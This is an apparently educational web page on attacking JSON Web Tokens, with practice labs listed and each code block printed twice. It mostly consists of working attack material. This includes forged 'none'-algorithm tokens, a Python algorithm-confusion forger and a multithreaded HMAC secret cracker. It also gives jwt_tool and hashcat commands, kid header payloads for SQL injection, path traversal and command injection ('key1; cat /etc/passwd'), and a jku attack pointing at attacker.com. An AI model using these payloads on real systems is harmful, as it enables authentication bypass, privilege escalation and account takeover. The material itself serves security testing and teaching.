JWT Attack Techniques
JSON Web Tokens (JWTs) are widely used for authentication and authorization. However, implementation flaws can lead to token forgery, privilege escalation, and complete authentication bypass.
Warning
๐ Quick Navigation
๐ฏ Fundamentals
- โข JWT Structure
- โข None Algorithm Attack
- โข Algorithm Confusion
โก Header Attacks
- โข KID Injection
- โข JKU/JWK Attacks
- โข Claim Tampering
๐ ๏ธ Tools
- โข jwt_tool
- โข Secret Cracking
๐งช Practice
- โข Practice Labs
- โข Testing Checklist
JWT Structure
A JWT consists of three base64url-encoded parts separated by dots: Header, Payload, and Signature.
# JWT Structure: header.payload.signature
# Example JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# Decoded Header:
{
"alg": "HS256",
"typ": "JWT"
}
# Decoded Payload:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
# Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)# JWT Structure: header.payload.signature
# Example JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# Decoded Header:
{
"alg": "HS256",
"typ": "JWT"
}
# Decoded Payload:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
# Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)Common JWT Algorithms
Symmetric (HMAC)
HS256- HMAC with SHA-256HS384- HMAC with SHA-384HS512- HMAC with SHA-512- Same secret for signing & verifying
Asymmetric (RSA/ECDSA)
RS256- RSA with SHA-256ES256- ECDSA with SHA-256PS256- RSA-PSS with SHA-256- Private key signs, public key verifies
None Algorithm Attack
The "none" algorithm specifies that the token is not signed. Vulnerable libraries may accept unsigned tokens if the algorithm is changed to "none".
# None Algorithm Attack
# Some libraries accept "none" algorithm, bypassing signature verification
# Original JWT (HS256):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SIGNATURE
# Attack - Change algorithm to "none" and modify payload:
# New Header (base64url encoded):
{"alg":"none","typ":"JWT"}
โ eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# New Payload (base64url encoded):
{"sub":"1234567890","role":"admin"}
โ eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0
# Attack JWT (no signature, just trailing dot):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0.
# Variations to try:
alg: "none"
alg: "None"
alg: "NONE"
alg: "nOnE"# None Algorithm Attack
# Some libraries accept "none" algorithm, bypassing signature verification
# Original JWT (HS256):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SIGNATURE
# Attack - Change algorithm to "none" and modify payload:
# New Header (base64url encoded):
{"alg":"none","typ":"JWT"}
โ eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# New Payload (base64url encoded):
{"sub":"1234567890","role":"admin"}
โ eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0
# Attack JWT (no signature, just trailing dot):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0.
# Variations to try:
alg: "none"
alg: "None"
alg: "NONE"
alg: "nOnE"Information
Algorithm Confusion (RS256 โ HS256)
This attack exploits libraries that don't verify the algorithm matches expectations. By switching from RSA (asymmetric) to HMAC (symmetric) and using the public key as the secret, attackers can forge valid tokens.
# Algorithm Confusion Attack (RS256 โ HS256)
# Exploit asymmetric/symmetric algorithm confusion
# Scenario:
# Server expects RS256 (asymmetric - uses public/private key pair)
# Server's public key is known (often exposed in /jwks.json or /.well-known/)
# Attack:
# 1. Get the server's public key
# 2. Change algorithm from RS256 to HS256
# 3. Sign the token using the PUBLIC KEY as the HMAC secret
# Why it works:
# - RS256: Verifies signature with PUBLIC key, signs with PRIVATE key
# - HS256: Uses single SECRET for both signing and verification
# - If server doesn't check algorithm, it might use the public key as HMAC secret
import jwt
import base64
# 1. Obtain public key (from /jwks.json or certificate)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# 2. Create payload with elevated privileges
payload = {
"sub": "1234567890",
"role": "admin",
"iat": 1516239022
}
# 3. Sign with HS256 using the public key as secret
token = jwt.encode(
payload,
public_key, # Using public key as HMAC secret!
algorithm="HS256"
)
print(f"Attack token: {token}")# Algorithm Confusion Attack (RS256 โ HS256)
# Exploit asymmetric/symmetric algorithm confusion
# Scenario:
# Server expects RS256 (asymmetric - uses public/private key pair)
# Server's public key is known (often exposed in /jwks.json or /.well-known/)
# Attack:
# 1. Get the server's public key
# 2. Change algorithm from RS256 to HS256
# 3. Sign the token using the PUBLIC KEY as the HMAC secret
# Why it works:
# - RS256: Verifies signature with PUBLIC key, signs with PRIVATE key
# - HS256: Uses single SECRET for both signing and verification
# - If server doesn't check algorithm, it might use the public key as HMAC secret
import jwt
import base64
# 1. Obtain public key (from /jwks.json or certificate)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# 2. Create payload with elevated privileges
payload = {
"sub": "1234567890",
"role": "admin",
"iat": 1516239022
}
# 3. Sign with HS256 using the public key as secret
token = jwt.encode(
payload,
public_key, # Using public key as HMAC secret!
algorithm="HS256"
)
print(f"Attack token: {token}")jwt_tool
jwt_tool is the go-to toolkit for JWT security testing, offering automated attack modes and manual tampering capabilities.
# jwt_tool - Swiss Army Knife for JWT Testing
# https://github.com/ticarpi/jwt_tool
# Installation
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
# Basic usage - decode and analyze
python3 jwt_tool.py <JWT>
# Run all tests (automated exploitation)
python3 jwt_tool.py <JWT> -M at
# None algorithm attack
python3 jwt_tool.py <JWT> -X a
# Algorithm confusion (RS256 โ HS256)
python3 jwt_tool.py <JWT> -X k -pk public_key.pem
# Crack weak HMAC secrets
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# Tamper specific claims
python3 jwt_tool.py <JWT> -T
# Then modify claims interactively
# Inject headers (kid, jku, x5u attacks)
python3 jwt_tool.py <JWT> -X i -I -pc "role" -pv "admin"
# CVE checks
python3 jwt_tool.py <JWT> -M pb # Playbook mode - tests all CVEs
# Output to file
python3 jwt_tool.py <JWT> -M at -o attack_tokens.txt# jwt_tool - Swiss Army Knife for JWT Testing
# https://github.com/ticarpi/jwt_tool
# Installation
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
# Basic usage - decode and analyze
python3 jwt_tool.py <JWT>
# Run all tests (automated exploitation)
python3 jwt_tool.py <JWT> -M at
# None algorithm attack
python3 jwt_tool.py <JWT> -X a
# Algorithm confusion (RS256 โ HS256)
python3 jwt_tool.py <JWT> -X k -pk public_key.pem
# Crack weak HMAC secrets
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# Tamper specific claims
python3 jwt_tool.py <JWT> -T
# Then modify claims interactively
# Inject headers (kid, jku, x5u attacks)
python3 jwt_tool.py <JWT> -X i -I -pc "role" -pv "admin"
# CVE checks
python3 jwt_tool.py <JWT> -M pb # Playbook mode - tests all CVEs
# Output to file
python3 jwt_tool.py <JWT> -M at -o attack_tokens.txtKID (Key ID) Injection
The "kid" header parameter is often used to look up signing keys. If not properly sanitized, it can be exploited for injection attacks.
# KID (Key ID) Injection Attacks
# The "kid" header parameter identifies which key to use for verification
# Attack 1: SQL Injection via kid
# If kid is used in database query to fetch key:
# Original header:
{"alg":"HS256","typ":"JWT","kid":"key-001"}
# Attack header:
{"alg":"HS256","typ":"JWT","kid":"key-001' UNION SELECT 'secretkey' -- "}
# Server query becomes:
# SELECT key FROM keys WHERE kid='key-001' UNION SELECT 'secretkey' -- '
# Returns 'secretkey' which attacker knows
# Attack 2: Path Traversal via kid
# If kid is used to load key from filesystem:
# Attack header:
{"alg":"HS256","typ":"JWT","kid":"../../../dev/null"}
# Sign with empty string (contents of /dev/null)
{"alg":"HS256","typ":"JWT","kid":"../../../etc/passwd"}
# Sign with contents of /etc/passwd (first line)
# Attack 3: Command Injection via kid
# If kid is passed to shell command:
{"alg":"HS256","typ":"JWT","kid":"key1|whoami"}
{"alg":"HS256","typ":"JWT","kid":"key1; cat /etc/passwd"}
# jwt_tool command for kid injection:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""# KID (Key ID) Injection Attacks
# The "kid" header parameter identifies which key to use for verification
# Attack 1: SQL Injection via kid
# If kid is used in database query to fetch key:
# Original header:
{"alg":"HS256","typ":"JWT","kid":"key-001"}
# Attack header:
{"alg":"HS256","typ":"JWT","kid":"key-001' UNION SELECT 'secretkey' -- "}
# Server query becomes:
# SELECT key FROM keys WHERE kid='key-001' UNION SELECT 'secretkey' -- '
# Returns 'secretkey' which attacker knows
# Attack 2: Path Traversal via kid
# If kid is used to load key from filesystem:
# Attack header:
{"alg":"HS256","typ":"JWT","kid":"../../../dev/null"}
# Sign with empty string (contents of /dev/null)
{"alg":"HS256","typ":"JWT","kid":"../../../etc/passwd"}
# Sign with contents of /etc/passwd (first line)
# Attack 3: Command Injection via kid
# If kid is passed to shell command:
{"alg":"HS256","typ":"JWT","kid":"key1|whoami"}
{"alg":"HS256","typ":"JWT","kid":"key1; cat /etc/passwd"}
# jwt_tool command for kid injection:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""JKU and JWK Header Attacks
The JKU (JWK Set URL) and JWK (embedded key) headers tell the server where to find the public key for verification. By injecting attacker-controlled values, tokens can be forged.
# JKU and JWK Header Injection Attacks
# JKU (JWK Set URL) Attack
# Server fetches public key from URL in token header
# 1. Generate your own key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# 2. Create JWK from public key and host it
# Host this at https://attacker.com/.well-known/jwks.json:
{
"keys": [{
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"n": "BASE64_MODULUS",
"e": "AQAB"
}]
}
# 3. Create JWT with jku pointing to your server
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/.well-known/jwks.json",
"kid": "attacker-key"
}
# 4. Sign the payload with your private key
# Server fetches key from YOUR server and validates successfully!
# ---
# JWK (Embedded Key) Attack
# Embed the public key directly in the token header
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"n": "YOUR_PUBLIC_KEY_MODULUS",
"e": "AQAB"
}
}
# Server uses the embedded key for verification
# Attacker signs with corresponding private key# JKU and JWK Header Injection Attacks
# JKU (JWK Set URL) Attack
# Server fetches public key from URL in token header
# 1. Generate your own key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# 2. Create JWK from public key and host it
# Host this at https://attacker.com/.well-known/jwks.json:
{
"keys": [{
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"n": "BASE64_MODULUS",
"e": "AQAB"
}]
}
# 3. Create JWT with jku pointing to your server
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/.well-known/jwks.json",
"kid": "attacker-key"
}
# 4. Sign the payload with your private key
# Server fetches key from YOUR server and validates successfully!
# ---
# JWK (Embedded Key) Attack
# Embed the public key directly in the token header
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"n": "YOUR_PUBLIC_KEY_MODULUS",
"e": "AQAB"
}
}
# Server uses the embedded key for verification
# Attacker signs with corresponding private keyWeak Secret Cracking
#!/usr/bin/env python3
"""
JWT Secret Cracker
Brute-force weak HMAC secrets
"""
import jwt
import sys
from concurrent.futures import ThreadPoolExecutor
def try_secret(token, secret):
"""Try to verify token with given secret"""
try:
jwt.decode(token, secret, algorithms=["HS256", "HS384", "HS512"])
return secret
except jwt.InvalidSignatureError:
return None
except Exception:
return None
def crack_jwt(token, wordlist_path, threads=10):
"""Attempt to crack JWT secret using wordlist"""
print(f"[*] Loading wordlist: {wordlist_path}")
with open(wordlist_path, 'r', errors='ignore') as f:
secrets = [line.strip() for line in f if line.strip()]
print(f"[*] Testing {len(secrets)} potential secrets...")
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(try_secret, token, s): s for s in secrets}
for i, future in enumerate(futures):
result = future.result()
if result:
print(f"\n[+] SECRET FOUND: {result}")
return result
if i % 1000 == 0:
print(f" Tested {i}/{len(secrets)}...", end="\r")
print("\n[-] Secret not found in wordlist")
return None
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <jwt_token> <wordlist>")
sys.exit(1)
crack_jwt(sys.argv[1], sys.argv[2])
# Common weak secrets to try:
# secret, password, 123456, key, jwt_secret
# Wordlists: SecLists/Passwords/jwt.secrets.list#!/usr/bin/env python3
"""
JWT Secret Cracker
Brute-force weak HMAC secrets
"""
import jwt
import sys
from concurrent.futures import ThreadPoolExecutor
def try_secret(token, secret):
"""Try to verify token with given secret"""
try:
jwt.decode(token, secret, algorithms=["HS256", "HS384", "HS512"])
return secret
except jwt.InvalidSignatureError:
return None
except Exception:
return None
def crack_jwt(token, wordlist_path, threads=10):
"""Attempt to crack JWT secret using wordlist"""
print(f"[*] Loading wordlist: {wordlist_path}")
with open(wordlist_path, 'r', errors='ignore') as f:
secrets = [line.strip() for line in f if line.strip()]
print(f"[*] Testing {len(secrets)} potential secrets...")
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(try_secret, token, s): s for s in secrets}
for i, future in enumerate(futures):
result = future.result()
if result:
print(f"\n[+] SECRET FOUND: {result}")
return result
if i % 1000 == 0:
print(f" Tested {i}/{len(secrets)}...", end="\r")
print("\n[-] Secret not found in wordlist")
return None
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <jwt_token> <wordlist>")
sys.exit(1)
crack_jwt(sys.argv[1], sys.argv[2])
# Common weak secrets to try:
# secret, password, 123456, key, jwt_secret
# Wordlists: SecLists/Passwords/jwt.secrets.listHashcat for JWT Cracking
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Mode 16500 is for JWT (HS256/HS384/HS512)
Claim Tampering
# JWT Claim Tampering Examples
# Original payload:
{
"sub": "user123",
"role": "user",
"email": "user@example.com",
"exp": 1735689600
}
# Attack 1: Privilege Escalation
{
"sub": "user123",
"role": "admin",
"email": "user@example.com",
"exp": 1735689600
}
# Attack 2: Account Takeover (change user ID)
{
"sub": "admin001",
"role": "user",
"email": "user@example.com",
"exp": 1735689600
}
# Attack 3: Bypass Expiration
{
"sub": "user123",
"role": "user",
"email": "user@example.com",
"exp": 9999999999
}
# Attack 4: Injection in Claims
{
"sub": "user123",
"role": "user' OR '1'='1",
"email": "<script>alert(1)</script>",
"exp": 1735689600
}
# Attack 5: Add Additional Claims
{
"sub": "user123",
"role": "user",
"email": "user@example.com",
"exp": 1735689600,
"is_admin": true,
"permissions": ["read", "write", "delete", "admin"]
}
# Note: These modifications only work if:
# - Signature verification is bypassed (none alg, weak secret)
# - Algorithm confusion is successful
# - Claims aren't validated server-side# JWT Claim Tampering Examples
# Original payload:
{
"sub": "user123",
"role": "user",
"email": "user@example.com",
"exp": 1735689600
}
# Attack 1: Privilege Escalation
{
"sub": "user123",
"role": "admin",
"email": "user@example.com",
"exp": 1735689600
}
# Attack 2: Account Takeover (change user ID)
{
"sub": "admin001",
"role": "user",
"email": "user@example.com",
"exp": 1735689600
}
# Attack 3: Bypass Expiration
{
"sub": "user123",
"role": "user",
"email": "user@example.com",
"exp": 9999999999
}
# Attack 4: Injection in Claims
{
"sub": "user123",
"role": "user' OR '1'='1",
"email": "<script>alert(1)</script>",
"exp": 1735689600
}
# Attack 5: Add Additional Claims
{
"sub": "user123",
"role": "user",
"email": "user@example.com",
"exp": 1735689600,
"is_admin": true,
"permissions": ["read", "write", "delete", "admin"]
}
# Note: These modifications only work if:
# - Signature verification is bypassed (none alg, weak secret)
# - Algorithm confusion is successful
# - Claims aren't validated server-sidePractice Labs
PortSwigger JWT Labs
Comprehensive labs for all JWT attack types
jwt_tool
Essential toolkit for JWT testing
JWT.io Debugger
Decode and inspect JWTs online
Hackers Manifest JWT Decoder
Our built-in JWT decoder tool
Testing Checklist
๐ Algorithm Attacks
- โ Try "none" algorithm variants
- โ Test RS256 โ HS256 confusion
- โ Check if algorithm is validated
- โ Try algorithm downgrade attacks
โก Header Injection
- โ Test KID for SQLi, path traversal
- โ Inject JKU pointing to attacker server
- โ Embed JWK in token header
- โ Try x5u/x5c certificate injection
๐ Secret Cracking
- โ Try common weak secrets
- โ Run hashcat/jwt_tool with wordlist
- โ Check for predictable secrets
- โ Look for exposed secrets in source
๐ Claim Testing
- โ Modify role/admin claims
- โ Change user ID (sub claim)
- โ Extend expiration time
- โ Add extra privileged claims
- โ Test claim validation logic